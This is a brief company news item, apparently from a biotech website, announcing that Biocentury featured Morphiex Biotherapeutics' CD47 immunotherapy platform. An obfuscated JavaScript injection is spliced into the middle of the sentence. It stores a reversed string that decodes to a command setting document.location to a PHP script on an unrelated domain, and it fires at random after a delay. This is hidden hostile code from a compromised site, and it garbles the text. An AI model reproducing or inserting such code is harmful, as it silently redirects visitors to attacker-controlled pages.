22 Nov Biocentury Features Morphiex as a New and Emerging Company in the CD47 Space
Check out the new Biocentury article featuring Morphiex Biotherapeutics' as an emerging company which details how its CD47 immunotherapy platform is differentiated in both safety $nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and efficacy for the...